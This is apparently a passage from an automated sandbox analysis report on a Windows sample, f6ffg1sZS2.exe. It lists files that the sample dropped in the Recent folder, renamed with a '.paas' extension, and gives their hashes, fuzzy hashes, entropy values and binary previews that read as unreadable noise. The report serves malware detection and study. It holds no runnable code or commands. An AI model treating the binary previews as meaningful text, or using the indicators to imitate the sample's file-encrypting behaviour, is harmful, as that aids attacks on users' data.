.5...b#..+,..q.jg..J.y...y)..%.....).....K&.f.U.....u...=M..#...T.{..\|..\|.q..].\Ii.h..[sCxN.}........2..t.-."..)./....."...+..d........C....o.t.Y..a.....i..F....t.Y.1..q).g..$.[..#.j.1.S..w.\.P..g..n.4qB.C.?yv.>.D.=..V_.-g...xh..M.7...]d..+j.....IU.V.m...W..p..<..#N..O...J)....WC.Q...1.sVA....4^t.......[.sdv....U...fHv....A.-.l.O.T....'...1.4?l.Bo.3D.`......c.Gi...N.Z

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWTVCDUMOB.mp3.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852664556918895
Encrypted:	false
SSDEEP:	24:cmnXtMuSlpAlGXKjyXNxN2kWfCTWNwVju6rO8GhwCEP2KE5WtiR87obD:euSQcSyXND2kZWNwVjs8t2KE5WtF7yD
MD5:	7BC50CB9639FBD2D76BBFCCC74B7AC11
SHA1:	B551088527DF8FCFBA5D213676804D2DDF2FCA6B
SHA-256:	17B44547BFD849D2E3150A91CBC9BB03E2A3D5A92BA00487EDFFB767CE8B180E
SHA-512:	BF5B64D28E925A8C0D3A41BB20017F18DF3204B2AB73AD8BEBC07354F89BC573BADE812F2B481F15B6738EFE10718290D4650EF8C1BFFCC1647B3F8A167C8549
Malicious:	false
Preview:	NWTVC..~([u......H3....Z.6...j.._=......S.//..A.5.H..1..<.Y.Ti.).>d.8......(."bSQv..T....B.J...]...;..s.h..].g..p<t.m.@FoYB...%....b1.Ne."......\].Io...2......"..)eW. 1.q.......[$.:............4I...]x.ie&..U...L..Q.;2..~.t.@:.X...Z.....G.....9Ku5...b...mF.F.......P.E.w..Y...bM..\...P(....\|.%...P&.W....6.k..w!...].N...+.9....+.j........XQ....g....f.6...1.4......."..../....d..6...!c.<. ..w.m(.G.....8.{...&B....[^b.=&1]..los....ic\.HtE._..aVU...0.x.."".&..J..k.oF..........g........Ko...8..s...nIOVu..z.^.u...;..L?....}Kb......;..=E.n3.e5`.....8..7.......P..\..]..J..W<;...2+!X..c....}.T.KavP<..~..].!.`.p.].i-....@.IF.e6..e.Y.t...P.YE..q.a..-zB......K....:.0...._.#S.GW....v..!..CY..+5...O,x.."...>...z~.a"..,kP....a..`.M.......D.j.j.. i..D.&..s_q......I..`.o......d..{w.....`..g....j...!\|....o....Y..\\c...BQ..e.K..H...fm..0..E,.'.W..=..="Tl...Q.a....@e....S].[..5.a. B'y?.j.y%_.=.....<k..T....kl..ep...o.s...Y...uS..9j....P......U.?l..xn.F.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWTVCDUMOB.pdf.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866674250002521
Encrypted:	false
SSDEEP:	24:wnnV4XeIpV0WjZDCvxJEO72vmdYCc6jU7BBca0yENvp1ynqbD:anVbI30kZqJZ7cNBl0ycvcID
MD5:	269895968AC957B94F2601B90E1D222A
SHA1:	D2C2125CFD0253D2C3D404CC41E195986AEDEF7C
SHA-256:	2A61400A45B37CE07B0255D6F16B4DB1707FE2E013AEDC1E11F45DEEDC456955
SHA-512:	4A92D1C622EB549D6362B111B74A224A37CB7FB3D4B7BB2DB4125411A1CF4FF4A3C20197A7F68D7DD0513AE40A066F3028F5492CD6AD2730C602F3C7CD9206DB
Malicious:	false
Preview:	NWTVCaq..I.m....FB..+e.^.@..p.z.-l:.7.. ....(s.g...W.7.gV....k...F.)T.-.A.q,...;.g....l o....Y...9.T..\....`...5.{..8....44.N<.GZ.}..v...V.....j.L.WZ.J...U.r..:;..U.\........3z.>PR.3Q.X.......[.......K......Z..~..N.r:K...N.y.M......K6....X.."'............b....-G.a.K.......y/,..n..k.P[L.....k.IZN;..3i.H..T.7...f}.O>.I..q.`6g.z....bdUylj..p....^.~Oq.P..\[=..w......v..i...3...a.[T..(.Be....7..0.....h..\.\|OB..0..(.0.....&.,w.f.C...p..Z.Q..1..m..;...#Jr....u)f..h......O#..!._..\|.~Qj.S..$....tQ...TY...]gq..y.E.L...1...f.T..<A..,.n...p'r.>n.........Bd...Y....R....OzI............v.................k...82.K,e;.....c..pC.f...<.S..$.v..~.y...+...7...B.S.O@y.[...\...:......t....v...-.o. .Ei..8o.u..3X..b.V......s...#.kKV.,.M.}...6V.....&...er.....\N.....s2..\|.Z.m.L..y..L.Vg[.5#\..qr].-.....D...l3.'..R.}a9.3`5.y....@..rQ5.P..DM.\|KT...9VD.....^.P...r...J..')..}....].....F.o.K.........Q.x3.&.x.$.25s.$...$.n....;W2..)r..LL....`C.p.$...y.!.1d..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWTVCDUMOB.xlsx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836717741027098
Encrypted:	false
SSDEEP:	24:AsByuBAt8GZ04cqpKzaCwgdAXndFS0C3pSZwgQTOMqjuJpay0MMnTGDbD:AsByUAt8GZ0LqpiFGnjS0CU+gghJ0yJD
MD5:	59BE51D2C2A5265C443C2756B9F69D20
SHA1:	B042E434F701115C41CE2D73D224F7468C51E1FF
SHA-256:	9709AF018A2D8FB350B195149848256026DE4C1CC06AEAF9DFB926ABC6240516
SHA-512:	CEED87F3B649DE57C5C237C68C56D6BADD84C80143046C7C8AD1CAD77A6502FE7D5F22FE393254CF024830EB0CB3BCD72D8BBC2509DDE8B2F30CB84EBA4AF780
Malicious:	false
Preview:	NWTVC.92...y[.P..\.4...`G.e..]...&).j!>..]k.;n.J>...u.....^b..Y.`.O.n...k).?.S"A9r.U.A...=.8+.y..~.&...m..a..=y.4.`Q..v4M...n;_.;.-....Z.:..&.IJ.9...ve.V8w.p$..z.......q....!...'.]...L..(..Fo..a.J.C..$...p...d...bT..Z.SJW.aw...QPy>n.....t.==...^..c4\|^....jX.......lV]Bd..Y..\.........H7...N4h...#......'........QW..-/..^...0[.........'..=..T}z.6.."#=j.....A....W.......Y.[r....n..P....7+.."R.r....&]j."C..^v#.\|I.Q.}S..v&.#{..^.V:.]!vBx@.F...p.:;Q}UM.....{>..JT...i).~..s..c...y.Ec.......7.....h.Psn"58....j."..u..i.G...F.480...E0ib...``.^.6\|.a..YRw...1.N......u.Y....T...g..-....6..9.kj..k>.bm6..I....M.Q....hw...D._Pfc1?...r.b.."../6....<..77.....t..h...`..!...n...[1.V......T..g..p....5....a.`..b..H.V&.$.-.k..>..{NR^..../..Q.vo.....^.Y6....OH.M/d<..Y..I..L..5`.........eJi..(....0..`... .LK...Q...KI:...P.?.....l.".:......q)..h@...=...\|g..t~... ..!!...Y...q.Fwa&......v...u...W...m'..R..0.\.w../.T..s...L*K....G.n+.=&j'..W..Vrl..?..-..DV..m.....4

C:\Users\user\Application Data\Microsoft\Windows\Recent\OKWJNJSPWE.mp3.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846228731000095
Encrypted:	false
SSDEEP:	24:wa5UcD7osFcnbXbc4h0JmjAAT4bcZ3J1B7H8kvmyKaoEl0JjjvqPbD:accNomj34bcZVcdzaoEl0Jjz4D
MD5:	BA8A2F724F45A65D4B9AD471A3B168F9
SHA1:	0BD5C17268D80CB1C4BC3C8C4A9EB96683B5CC02
SHA-256:	65AEA1C957979C4F76D0CEBA5E4B881D9D4BAFBEBE67039E2AFB6A9108216257
SHA-512:	DD2491B0CC5AEC477BCD5F3EFDFC939D421E02331A227FF0D540AB7D76EB77EAE01F7A0280D86CF136A6240BA310B5110EF974CD1B9B32D4F54B999733C85A1C
Malicious:	false
Preview:	OKWJN..A.5F.X..nO3.B...b..2...p<.".s+...T]h(..f...g=.Z.T..5EA....M..!..s...lMi8S.Z....Bi.V..zv%ZE.w.E9(.....Y..brzn.k...x.v..(A.X..,..6w[.]k........l).d......=.....jyU..Ys.Z6....[..!.....b.....M59...8....,.X..N...y.?.R...........Fj..TwR....@.....i........}Zx.2..LK......9.&R.....\|.j....RZ..-...R....&..j'.......-.....{......w....#...Aw+.a..E....W.mNd6...-...`;bR.YHw..mMy.w..r..bR..MeQ...!.I.iN.I..@2......8.i..Vt.UM.;....5....B....S....`J.N&....n....y...".[=.D....]..R..B.<......{...hL(....ipk3!E....dB0o.........._.l.1.)..Z_-.#)&..}g...:...O....Vct...D2..x]TP.f...#bA..H1.&.....@..I...E.g.~...'.?[.D.e.EDl.6/."Hd..f0E>.n..6.J...{} .S.Y..8....-...\|.3....>.. z.m.O..w..a.y.....a..O.g=.n.;...-..2...'7^c'.S.-...D..f..H8.....5!*.J..F.p)}.QM.~b[.in....W"...=.....!.p..$...q.\Q.u..8.t... .......!.,:.../..;g........Qr......x~...XP.......V.....8;.=`^.s.#{...y."..{...e ..!n2.@..9@.9.......l..`..a.1._.....#....q.;.}.+V.}..QC.i.v1.>.]...>=.....T

C:\Users\user\Application Data\Microsoft\Windows\Recent\OVWVVIANZH.pdf.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862511736302116
Encrypted:	false
SSDEEP:	24:UX9Pwpcli920huK2mqXiqT/BdulEnXQzE6ImvBGjswIRfnCbHRPB9X+CybD:UZwpc492r1EwdNN6I+BGjsJRMHRpgD
MD5:	6E675479C4EC8C8013DC92B211A5749F
SHA1:	C96C1BDF6851B29CF8E1FC9D41D300A73D123E8F
SHA-256:	1C1D36F88B42EFFE83D24CEEB7AB64EB73BB9A7BC64964B10A2F30BBFD889588
SHA-512:	FF08F4ADBA1D2E492BAA467BBBE8993117E310BC2C6B3F8F45079F70150EDDC0741614F4DBC1D040BF1E9DE7BFC2BEB75D4CBDE0CA90F6F987BEB51E6461BF7C
Malicious:	false
Preview:	OVWVVN.z.8..m...].I..=.`.{kQ.....I.;.....HZ....W..).......C..F4..U.(D...Y.W.x.4...kW.......'3cB ...Y.s\.i..3.w.Rt.......UR...-7 .S.kU.WvNT...'O...&.['...d. Pz..s. ...H....G.-P...\|.......lw.....y..............Z...VN..<...&-.R:..B......,..b.....<...J...r...........v...\.7.?`]...z3Y+..........xR.,e...G.?.4..!....f0l...r\m....,n...n.}..9.8.&.2.6......W%..X..'94j..!.Urx)tB=...\|....j....c..-3.).O...\|!..&.".f.e.`....K....9.T...........9=....r\F...KX.V.Q.fe........D:L.@.k.n...2e.X.G..j.2D+...O....F...AWaW.....J1...K......M.$'xv.Z..\|+.a........'.S....8p...J..(..J.#RZ.m8GVN..V.S...3..D...+..Ou.M....t.u..&".....Gu.H.@}.Y..-...9..g~....V.S...h<...AR..P..<at.9..B...~..}0^o.......dl...}W...,..Z...1'....5g.S..a._.........."..h.D..@a%.gd73.^?..;F[.\zE4q_...2....J ...H..h.........qVh;.Mw.u.Kw...0.A.p.>s.fB.:.\|o,%^.\...O.u.H...=."...l...%m...\|..../R..................~.{...^l.n.6.{....H.A..E.\Zq.u..f...[0:..,.I>..#@...H.2.H...j.DL.9....(.m.j.z.....-.v.0\|.b.(7..`

C:\Users\user\Application Data\Microsoft\Windows\Recent\SQRKHNBNYN.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865489187600757
Encrypted:	false
SSDEEP:	24:okG6UNPFY3l4aKDebi0ocZOSO8e7r27e4VEkIBTTV74O21w/j6bD:9MZFlByG0DOL8eXO4BTx74O21w/MD
MD5:	503486FD0ECD4A9157D4D3553DFDD1C9
SHA1:	A80B4E14A33E0B256841D9428E58A294CD68B97B
SHA-256:	038372943BBF360C16F138AA01D8A89F35D183FC8D070793640EBF2F2BC5D476
SHA-512:	9CE44ABBCAE524AC1A383195C65309903E63F567A53D2F05CF5952DE095C37A8CB302CA7F8860CFC09D91876B0EF1BC9325D66D6A3ADC03101930F744D3CC9A0
Malicious:	false
Preview:	SQRKH.;.....tx..Pg........k........Q. ..l.X=..a.P."...M.a.^F.c.kr.+.]......a5.j.,.@./.Y......i.r..7...5.o.t73.<.N.g..-....b...3...~}.].x...A....tI81.(....e......U..{.(.T.:.(..}...3.\.p.....`.(.g.^=j..?.`....S...8....H...Jq.@B7..q.>...m...11.R.[..}....'Y]3.%y.n.....C[...c.O.nzg^.Z.......b...j...LG..a..A^%E[,.N..$.r...!.O..$b1#.....K^......A/....x.BT..L....q....h.?......F.......0.$..H..V.\|....I.>1...{.s.".P5&...-.....;5.9\L..0 p...v.~8.1..sn..........7.....U.W6z.^B......1G...u..............2.)n.=8.F.$i........].u..3.M....eA0z..U....Y....VG%z.....i.7D+.....#.J.Qr<L....3 sH.:.b.l:...5g.v.....%n..R._.............. .U..<.v?a....AJ...W.#..1{..w.....F....n6.....yUM...G.J...;..u.!J..e$.L.V...8..5..r......l..H...'xX.\|.....4... .0...E...8..,O......~4.......1...J.'.3+>..9'._&8..!e.m..z./.R.......H&v.a.<.H.+...a..c.F...O...vDy.@9..b.....+r..@w..H.".\|._.......,..B$....\L\|5h.M...dl$.A...B.j@b`....;XA......d.e..yU.B...jjFkvA",.MaMQ5,1D.'.z...a._

C:\Users\user\Application Data\Microsoft\Windows\Recent\TWGTYTLCKI.jpg.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8724591543657425
Encrypted:	false
SSDEEP:	24:any2E3dE2IvbofrvlYugYhyi/Vg4HwOaMSGo2Rw6cnVAzDEMo36n2qLetbD:YyTOTbSYtswOSGo2O6cVmEMoK2q6ND
MD5:	9AE920782488EEB028AAAB393CC82DDD
SHA1:	CE1AEDB3606C7AF43D425E0D4FDDF5D5AD311954
SHA-256:	B52D24180B018B4F124A6B40101EB488635863C5C0E272F5CA2C7E98B89CBA85
SHA-512:	802751EF2214914FEE96013CF82A622736CE662F26EFF454C8A2F1E5CA5932E8C23A63CD940DB4C0F666769316189422D5B6D502B30B70757DEB882BA9C5F8E6
Malicious:	false
Preview:	TWGTY....z>j!...#..9.,..%....!.v0.#2.m...D....)..Z.w...........ZQf!VU...PZ..R.._...5x9.i..w.............ncx....)1m.F'...M!,......I.7.h...+%J}%.;S_ ....mr@Er..3,!.?x.......u..EQSSi........z.7....'..,SD. =...j.}.;.%..=<.u..7...tl.L..`6....l...J.Ew(...4.1.^yDz....U..;Q..Hc.C.o....F.....O..z.a.5.7.....vIc..j..p.O..#"&v`.+.B......RA.e.......&(....<...S~.......H?...p...o...Q.K..)....;...x.(.~.....Ob"&....\k.....i3fCWK.Ju.W.9.sU...D...5.......~&...3...\|N..U.e...{..E..%$9..\|no..,..F.....(.r.....R..0...%.o4.+.;.1..Z....L..,...a.qm.=4..O..t?..:.j..s}w..0G.7=wh.....`...]?...f...!,...j~.s.$.$.C4nx....._..+.3.2.G.n..Ig...6.&.....;....}D.e....6..S.Jg.g[..O...o.}..6.h..m.6...;-N.k!../Mr...ZZ..c@.Z.`._...\.U.!...A.(.....PX..u..(.d....w.".].......9....k8..VOJ7..sd.o.B.wwaT.+v..".=..Y.Z...'2.q......j.........*.........yt. $.H%F............D}.{..&..a....@..#y..]t...k.l.K.Q/.><q]..m....5.q.P.5..+L....H...~.,....R..>.T...S>vJ...V..O.r....7...S......Gs.....PQ..f"

C:\Users\user\Application Data\Microsoft\Windows\Recent\UFTNOTWEML.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858969171548319
Encrypted:	false
SSDEEP:	24:ZF4G+W1zVcr2xoukfaQmqlD+DSla9F7HVQoHhnGsnkxmPPve9nYGDcbD:ZF4rGzCSefaQP0DNnDVtnGV8v4nz2D
MD5:	D8E2484E99F8DD7A9263FACECF267FC0
SHA1:	3AA266ED670D8984D5EA21D92D5A49624C5657A5
SHA-256:	483E3E3FCC03BFBD8F0759933A40BF7BC6589C57AA14876F342A512747524F59
SHA-512:	93101D9214CA03A86DB7834F21138CBBA574AA58FC43D54CD360FD9242A3874B31E2F7D9E90C0174A16592B6A801A8F011E7441D6B71148456C0FF451BC11026
Malicious:	false
Preview:	UFTNO...`....In..)....<.Pm$/.X.oI.mN...-.(..T..."R..?...E.V,:.{$.s..'.TA.@..I..x..V... ..<m...E.~9.g...d.o%k..GT.......C.q<h..B++s>.-....P.G.S.O....D...Kn2...:....3..x.s.5."H..].f..p.f.xh....C.=..}....[8....K...WU..".......bt.c......]k...".<.....1.'.>.....aY%.=.I}q..1.I#U:{.9hJ....=...sH..J.h1.x.a.....svYr......$.......r@..To.A..`{.}..V9P..F.M%`h..&&...'.....&...."crl..q....... ...Y......8}....Q.z.ZC.\|.e.U 6..!..?.V5..CmW..%.V..e<.....C.]`u...(..RC..8...JX.T.8.^.m...L@G}A....3g.Tr(..5A.....T...>.M.Te.v...~..1}.]2....0t...!-x.I.D.A.<.ef'1.......h...vV.w.Z3......;O.9n....#z..G.D....7.."x......;.vw......w4<...2.E.po........yW.........[Mk.o.."...XP..W.G^....((\|......,.].....8P......G....[.lxH...#.........j.zL\...<)..q~.~$G...0x...,.P.i..uD....Y.5lUt.......b.Z...`M.w#.....SH...a.Vm....#!q.,.c.`._U...Y.......@..$.V.nE+........<0..1x~....{.u.".P(X.......6P`.aZ......S.]n.UIOV.K.?5m..5.........J.Z.0..:.+).B....._..... .....mX.}..'n.......N

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.docx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841149705058481
Encrypted:	false
SSDEEP:	24:/pccwwwANxiArSY88cJD1mq5F/yrjHpzZxcVEf7N2hiwyBVIXC9hGmT0+mKlbD:qcwjkYArSZ8cF0qH/iJzZxGCjlBmXcMU
MD5:	EDE524E7C788B95AEAE168346888B22A
SHA1:	8A04642ACC58257464BBD506628FA82D4936E547
SHA-256:	4A429B824B48A20F2A1BB14A9DF6AF5C448B724AD78B3388B1ACAB658254D376
SHA-512:	5654FA4C709906724F4F7C5CF4680C667F97FAE32EF46D176325A9D096463F03A3F14153A9982257EB61DD29DD254014A46AA10DE93413E8C127D026A62F0F38
Malicious:	false
Preview:	UMMBD..{.4C.....Y.z..vo..S2wY.....aBLH]pS."3.-.@w.KI..vV....z.e~.[nN.p..Xv....1.....I.E.2..=f.s.bE.kyYN\e.0m./^."......B.P.by..w^C..=#.r....... {....h.3.%....`....h.....C..;....1G..Lk...m.....J=.......$..S...[.g......'`....P........,Ini...h.Y......L...a.[U#..F.......$y....c<'..VS.-c.X.....'mo.q.......w..._.u.g.K..C<S..r.8..K....4.$..5P...{Q97v.....r1..\.4....jks.....g....G..k..9..n.T.\|...=..T.0.I.....ST.~pJ....2j.k.GQ..u.y...%..&..O...}Y...<#.RM....._...h.....'..9.X.`.:.....`G..#{j..X..a.(..^<V65.[jk........u.../rf....3.u.....q....`..........Xb......Yz......s.y C4p.I....0ip..^.W.".iY_O._I.....0.o.l.oL........+..7....n.vR...~.o..K.B........bB.;H:?\..R"Fd@..%.Z...fu..:..;A...a.$^l.....)......C){Q....]..]j"...s7cu...<f}....'.2..9...V<...D.K^...(........u.W.J....V...*{.#&#..;.5L.%.Ni.RE.f..gzA........;...A.^<Y.......X&..f .d..d..An...Ep.;..=R..2..F..&....'.(.,~._..OUh...Z..pF......R/..4Obx....V...9.k4.E...0X.....!. .,%}~..+.....l.....e.bm,.D..G.3j

C:\Users\user\Application Data\Microsoft\Windows\Recent\XDPQCPDGHC.png.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835040741692605
Encrypted:	false
SSDEEP:	24:RGIZAHNcPEygu8leaH7OZB1Ela/7rtMeCxIQDIDHoritbD:1AtKOu8leaH6ZB1EcTxMeCOJDCWD
MD5:	28B66977CE1DDB7373991464F62CE7CF
SHA1:	D176F547EEDAC5CDCCDE2527CD17FD8816DAFE73
SHA-256:	AE211741DB20308017E858F94820D63B2F82706F6B51644AE242A0BEF8C53D13
SHA-512:	041EB0B9ECDE6DBD95FA2E3F3DF31A78BC6F0F4216097D2FD3AC033386B5D020E906D218BA5C6C29851BBAE5D67AA25B1ED05CAEEB75112A14E85040F7F8E135
Malicious:	false
Preview:	XDPQC.G.^z'=K.%.p2:....Y.....E.6..M...Q.A...h..p#...eo&.a.i`.J6..l..0.....F..?P.z...RP.W..YE.Lm.{...(Vyx...Wt...m....[Z@b.H. A...y..+.....>..I.{.v{X.0z.3q....jwE.s.QB..8......4.......UG..n..\.......u{.Rs,vH...R..h.,^..../>Q...$.}...}.........O.....U..4....6.?.{......kb?F...D.X5.._.....W.[..t._%..?.-D`.Z.U9..@._.s.q...%..<.'Mw\|i.c.u..'U..K{<....Y=&.FLDX..h.....o<.uq<......Q....b7.....1t..&..2A@.7............b.w..7y...9....p.Ar.8}W.4N...A#......h.....x.@.t\|.:l.a..+...cL..)../d6.^.)q..LN...q....E..?D..c..J......x.(z..O..`d.D8....."bA...4AQ.d&...o1...,.CQ...4".0....z<.N:1.c.r..r..l...Vy....^....w.....rdB.F.........%nv!.O...../ UAA.S=.h.{.tR~...I.Hr.6_.....@Hx\|....=..)8...[.%.4..I'...;pK"(..Q>g..?X".4..4.]....}.C.....<c..EC.d.b9...v..........]l..Gn.y..H(G.EX....E..1\|.w...."/.......}~.1..O>.l1[..7.5.*......1.n.o.-..GQ....c.?`S.j..-....r.....8....m....u..S.....=....T..tV..LjE,y._n.b...X.}.yH..\|Cu.LoV'B..$J.er.N+.K.cvj{...Cx....`......>..."..W

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.jpg.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8117056472366775
Encrypted:	false
SSDEEP:	24:jLpp4sHNW16jeOjeiU3MdX2eDUhZbuPaPWbXHxwzChgNQwHTSS4KiRTYkW/u2W0B:jLFje6U3eUHUA+RGCmmqTP4mkT10pD
MD5:	332E68E2BDF52DE2EEEF828F9720053B
SHA1:	5A1FB3802498841FDCA54A06170925C44FE46C6A
SHA-256:	5258D532A44DDF5F908968C3FB3B3D77935651CC4D7DA57B207126C58571543D
SHA-512:	F3CFF6672FAC43148B1AFDE4BDDDCD1638E08A10675480703859B0F2502AE0B55D73614A9084209F762295231EF55EB0DD8818029CF21F374BB7286540088C9A
Malicious:	false
Preview:	YPSIA]lJ..8.5A .8o.7DG.G.\s..[e#>s.0..C...-.......H..d.R../..[.-DeG..IP..R.v7...$......=..u.....s:.q......c^.J..z..>...A...r."..r]W.{.'...~..P...s..3...7....Z?^~.D.....j..C...v,d.u........_0.....;...hs.#/.....@.T!....'Q.....&.L..XB.9..<......{.eY.xa.>.c.c.).zK._......;..)p{...r..[<F6.zK.=b1-4..,.a.)...d~].....<..!?.[....V.C.....vD.8.m...<k.f.{.z.~%.V[../.J......A..D...(P...B.H.[../.....{.....$.>...).R{ .....Y...<G.B.o.T..oi..A.b...{..O...Ue.......L.2)...Y."..v..g.n.@e.\..A..\|E...0R.[........)..z7F...Fz......2.......M.)]b..w!.hf._a+..?.+J0.Y;w;.f>.Xdb..b...Q0.xH.._.?PH.....hw.W..X.Cq.....~..i..%..sV..._.....&..r#.7........-...%.5..o4[.....j2+..~.g.+z^..Tc!. j...bB....._...6{......KH.o.sr.!.....a.'...\|...k..+.v.^..........R+d.&o..s5eE.LO..../P.....G[.r1....&...a.5....3....a.....4!.\]....qGJ.!...k.......{..G.\|".l.3.........2.fK.R.y.a*.f.....iW.1..._.....f%.;...x.o...h)-z..G,...]v)...,.?.$f.nN.+.8.r...0._..H.W+zr....\....=..\|

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.xlsx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863330031859453
Encrypted:	false
SSDEEP:	24:3pWM+4xhxKYLAUZsV5aWcP1fIsarysdfR+AlJIRHYKSTECM+5IuaPlQbD:5J+4xzu5a/urxzhJIRI2JuZD
MD5:	57FC9288B8E05BD13D70DCCDA0564404
SHA1:	850C90CB2C78AA80CDD1F51794BCD938D3EEC19E
SHA-256:	DA4A02CAA2B16F13DA0E9311C82C8241F2A545A2B704E2ED885388F35859F119
SHA-512:	71CD4A8A927F48D88548C86C19A2D908884B68D1C41373DEDE27C95FFCDE08DD09B5D2D4481B7C13488484BCD41BC97F646DD8A2B3AD36916114BAD2D2395097
Malicious:	false
Preview:	YPSIA.t.^....K..%..gH..`J.....\|...^.A.....A.....t...V...@..!X..l...9qea.........-.S...8...........-'.n...?x.V.W...Cr.....Z./-.b...v........A...c..RU;.Y...{(.h..........oX.......SN......{. ..}...O. %..N.AA;s_".H.a.u...........q....4_..}..?...P.......fd.E`Z.\|%..q...*.u.z.{IlR.&.S}U..t.c....iHg.\..y...6....f.....2.......".PC..2..KE.F....2K.M.e.w.<.EN.......F....\...mN.^...:..j.(Z...q.e.l..X...x0.HTB....q.....E.....;. .n.^...jcW+....Y.?.3K..2oB...6k...vzT.~...pE...)7.AQ..jZ1.N.FY;.v5.A\|H.A.@wR.Q.F.L.....$....qq._.).....H..^."......2..M...n.............r.~..X5.?.q.y+.{...{..-...U..C........`..y......K:4.....c...AL).z?^..?h}2......cu0p..\|.z.<V.$.g..zM......o.......&..hD.." ..?5....f.......Nq.HR[(.......;:;m.;.}.Y&....LX.V.0f;.i.]..[e..SM..-[VZ.".X5@z.QB.~i.......!...1....!.....H......{.#.>.D....Ooc....)..d..!..A'[.qC..%.....4.........M<.....W(..D...\Y.rw0..b.O.......G..Zx..}....x92.g.....o.).....5J.h...'..-l...Jw=G...(>=8.R#(.X.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZQIXMVQGAH.docx.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8470619166038995
Encrypted:	false
SSDEEP:	24:4UxDSNRYaKP9gf+YzfMyyTm4P3xBHHMjIBC5a9riSYbeWldtooK7TdbD:j6RdKVg2YzfM/yiFCo9AtM5D
MD5:	9AEA41D077B804A319EB13A8D0F307DB
SHA1:	545E1703B0737B62DC0A261F2C5880C06C2C4DB6
SHA-256:	CFC1CFA9C4580AEAC1C02A205714BD1E359DD392967C3CE8C7BFB3884951C019
SHA-512:	11DA3DCF7A063EE331F157ACDCFB7D31089078AA0FA2AEA867F73E281AFAD0643469B3E6AD3EC9EC529F23E2342F3FC9B7AA1792D3166B3DFB171DE96DF07291
Malicious:	false
Preview:	ZQIXM!.~...5y{..c.1\...4.A.Cj..w.hNL.{..\|....pX....n.....g...\...Y."Z5Q.w9-W.S..~..@.Q...}..b..=...6o..'c..m../..y..d..".=.CNwy.F....W....R'.Sn....`O.'.l......%.x....,...`....L..u...]..hb.UUE..)..G)..-...c.r.4.2...8{...1.0...u!.5.e......>i.".......#.......u.p..c.;..g.s.7....T4....`...Ez=.].>.".......v...W.}8g....^.In.%.Ku.i.mz@....@cx.w.5$~ox."f..L.w....~.;..v.v[...W.~=....+.xdRD.]tn.....}......[..l=...xn..#!.t...A>-.pNj...(P.>5..>a......~y.Tav.=....z.t.P...fL4.........#....-ua.d.6SOM.i...f....1...4.Y.o.2-.!]..N. .P.8N.P.y....\|..&.R..ML...{...G3$.y^.-.....g'j(...#...{..n J..Y)..p.BB.....v.j..u7.Rd.......8v.#M...8l...I..N.t.U...'.4S..Mu....;....i.U<.......&C...)b..{13.&(......=...Hk.....X......-.....%"..q..o..X-\|...%...M.<...X.h...P9-...(.h..=.. 2.-...whT.}R.w.6....t.5V.......mm.@..C.g~7\|J.C.\.a..m.Ew:....2.. ..a.&..<].z...mI....f...a.S%E..P.*TS....;.....z...7.A...MW.{..(..o..2..q?.Y.`f.n..0...M.u.`.;C..2..bjP.;...Q.U.i....P..%.W...#~..l.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZQIXMVQGAH.pdf.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867461260712092
Encrypted:	false
SSDEEP:	24:pq5TriOoj2uxvsLZDlz2FPyzcbd6VXMFZ0/Kd9cE76MldbD:ZWueLtJWP4VcFKSd9cE7HdD
MD5:	8A28CC33E3ABAA245977E3D71B3B883B
SHA1:	7CB040483AD7DB62FD4A79BF6B2E8864BC8A1E10
SHA-256:	D16E9636546099E39E75FB8EB935550E601955A5A3C04188EA429A46DC5D1C29
SHA-512:	24E75011A8C34176C49C62EEE38187BFD79DFDE558CD753B20FB742F4E6CB8215C367B7A92079B317876226C91550731B4567772D8C2F0B850F7C98401C012F5
Malicious:	false
